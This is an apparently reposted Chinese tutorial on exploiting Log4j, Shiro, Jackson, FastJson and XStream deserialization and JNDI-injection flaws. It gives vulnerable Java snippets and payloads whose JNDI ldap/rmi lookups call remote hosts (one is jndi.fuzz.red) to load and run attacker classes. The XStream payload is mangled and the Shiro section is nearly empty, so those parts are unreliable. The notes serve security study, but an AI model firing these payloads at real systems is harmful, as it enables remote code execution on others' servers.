小工具知识网

当前位置: 首页 > 行业知识 > JavaSec 基础之五大不安全组件

行业知识

JavaSec 基础之五大不安全组件

2026-11-08 12:07:26 来源:互联网转载

文章目录

    • 不安全组件(框架)-Shiro&FastJson&Jackson&XStream&Log4j
      • Log4j
      • Shiro
      • Jackson
      • FastJson
      • XStream

        不安全组件(框架)-Shiro&FastJson&Jackson&XStream&Log4j

        Log4j

        Apache的一个开源项目,是一个基于Java的日志记录框架。

        历史漏洞:https://avd.aliyun.com/search?q=Log4j

        import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger; public String log4j(String content) {        logger.error(content);        return "Log4j2 JNDI Injection";    }

        Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。

        这就为攻击者提供了攻击途径,攻击者可以在界面传入一个包含恶意内容的ldap协议内容(如:${jndi:ldap://localhost:9999/Test}),

        该内容传递到后端被log4j2打印出来,就会触发恶意的Class的加载执行(可执行任意后台指令),从而达到攻击的目的。

        payloadxxxx

        ${jndi:rmi://xxxx:1099/xy9t54}${jndi:ldap://xxxxx:1389/qerodw}

        弹计算器本地才能发现,所以我们检测是否为注入可以 yakit dns 外带。

        Shiro

        Java安全框架,能够用于身份验证、授权、加密和会话管理。

        历史漏洞:https://avd.aliyun.com/search?q=Shiro

        登录抓包复制地址

        Jackson

        当下流行的json解释器,主要负责处理Json的序列化和反序列化。

        历史漏洞:https://avd.aliyun.com/search?q=Jackson

        Jackson-databind 支持 Polymorphic Deserialization 特性(默认情况下不开启),当 json 字符串转换的 Target class 中有 polymorph fields,即字段类型为接口、抽象类或 Object 类型时,

        攻击者可以通过在 json 字符串中指定变量的具体类型 (子类或接口实现类),来实现实例化指定的类,借助某些特殊的 class,如 TemplatesImpl,可以实现任意代码执行。

        ObjectMapper mapper = new ObjectMapper();mapper.enableDefaultTyping();Object o = mapper.readValue(content, Object.class);

        payload

        ["com.nqadmin.rowset.JdbcRowSetImpl",{"dataSourceName":"ldap://127.0.0.1:1389/Exploit","autoCommit":"true"}]

        把 jndi 部分替换成公网

        FastJson

        历史漏洞:https://avd.aliyun.com/search?q=fastjson

        Fastjson 是阿里巴巴的开源 JSON 解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean

        JSONObject jsonToObject = JSON.parseObject(content);return jsonToObject.get("name").toString();

        版本可以从外部导入库查看也可查看 pom.xml 配置文件

        payload:

        {"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://jndi.fuzz.red:5/ahld/test","autoCommit":true}

        XStream

        XStream是一个轻量级、简单易用的开源Java类库,它主要用于将对象序列化成XML(JSON)或反序列化为对象。

        XStream 在解析XML文本时使用黑名单机制来防御反序列化漏洞,但是其 1.4.16 及之前版本黑名单存在缺陷,攻击者可利用sun.rmi.registry.RegistryImpl_Stub构造RMI请求,进而执行任意命令。

        历史漏洞:https://avd.aliyun.com/search?q=XStream

         XStream xs = new XStream();xs.fromXML(content);

        payload

        这个倒是没用到 jndi,

        java.lang.Comparablecalcstart

上一篇:元音怎么读语音朗读?

下一篇:Centos下安装mysql8.0详细步骤